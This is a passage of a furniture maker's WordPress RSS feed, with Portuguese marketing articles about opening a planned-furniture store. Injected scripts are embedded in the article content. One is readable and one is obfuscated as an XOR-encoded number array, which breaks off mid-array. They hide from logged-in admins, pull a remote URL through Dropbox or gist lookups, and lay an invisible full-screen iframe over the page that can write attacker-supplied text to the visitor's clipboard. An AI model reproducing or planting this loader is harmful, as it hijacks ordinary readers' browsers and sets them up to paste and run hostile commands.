    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/estrategias-para-fidelizar-clientes/">5 Estratégias Para Fidelizar Clientes Na Sua Loja De Móveis</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Pontos Positivos De Mudar De Profissão Para Empreender Na Área de Móveis Planejados</title>
		<link>https://marel.com.br/pontos-positivos-de-mudar-de-profissao-para-empreender-na-area-de-moveis-planejados-b/</link>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Tue, 12 Apr 2022 18:38:43 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=9511</guid>

					<description><![CDATA[<p>Se sente insatisfeito no trabalho? Pode ser a hora de mudar de profissão! Confira neste artigo os pontos positivos de deixar o seu emprego para empreender na área de móveis planejados.</p>
<p>O post <a href="https://marel.com.br/pontos-positivos-de-mudar-de-profissao-para-empreender-na-area-de-moveis-planejados-b/">Pontos Positivos De Mudar De Profissão Para Empreender Na Área de Móveis Planejados</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Quando o seu expediente termina você se sente energizado e satisfeito com as atividades do dia ou frustrado e sentindo que algo está faltando? Se você escolheu a segunda opção, provavelmente é a hora de você mudar de profissão.</p>
<p>Mas isso não quer dizer que você precisa abandonar a arquitetura ou o design de interiores. É possível atuar nessa área de outra forma, empreendendo e sendo o seu próprio patrão. Veja neste artigo os pontos positivos de mudar de profissão para empreender na área de móveis planejados!</p>
<h2>Por que mudar de profissão e investir no segmento de móveis planejados?</h2>
<p>Mudar de profissão para ser dono do seu próprio negócio é o grande sonho de muitas pessoas. Empreender pode parecer um desafio, mas investindo no setor de móveis planejados as chances de sucesso são muito altas. Veja pontos positivos que vão te fazer querer abrir a sua loja!</p>
<h3>Segmento de móveis está em pleno crescimento</h3>
<p>De acordo com Marcelo Prado, diretor do IEMI (Inteligência de Mercado), o setor moveleiro cresceu 19% em 2021.</p>
<p>Confirmando esse dado, uma pesquisa realizada pelo Instituto Brasileiro de Geografia e Estatística (IBGE), através da Pesquisa Mensal do Comércio (PMC), o volume de vendas do setor de móveis está acima da média do varejo geral.</p>
<p>A alta do setor de construção civil ─ que teve 61,7% de lançamentos a mais nos seis primeiros meses de 2021, quando comparado ao mesmo período do ano anterior ─ também é um dado que mostra como o segmento de móveis tem uma alta demanda para suprir. Afinal, quanto mais imóveis forem vendidos, mais locações teremos para mobiliar.</p>
<h3>Alta demanda por móveis planejados</h3>
<p>Você já reparou como as casas e os apartamentos estão ficando cada vez mais compactos? Isso gera a necessidade de otimizar o aproveitamento do espaço e a solução para isso são os móveis sob medida.</p>
<p>Esse nicho atende consumidores que desejam mais do que só apenas móveis duráveis e de qualidade, eles também querem exclusividade e personalização e isso apenas os móveis planejados podem oferecer.</p>
<h3>Apoio para estruturar o seu negócio</h3>
<p>Mudar de profissão para empreender é um grande desafio, mas você não precisa estar sozinho nessa. É possível contar com a ajuda de um bom fornecedor, como a Marel Design Mobili. Nós damos todo o suporte aos nossos lojistas, desde a abertura até durante a operação.</p>
<p>Saiba mais sobre como é a <a href="https://marel.com.br/venda-de-moveis-por-que-ter-uma-revenda-exclusiva-da-marel/" target="_blank" rel="noopener">venda de móveis com a Marel</a> Design Mobili lendo o artigo!<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,5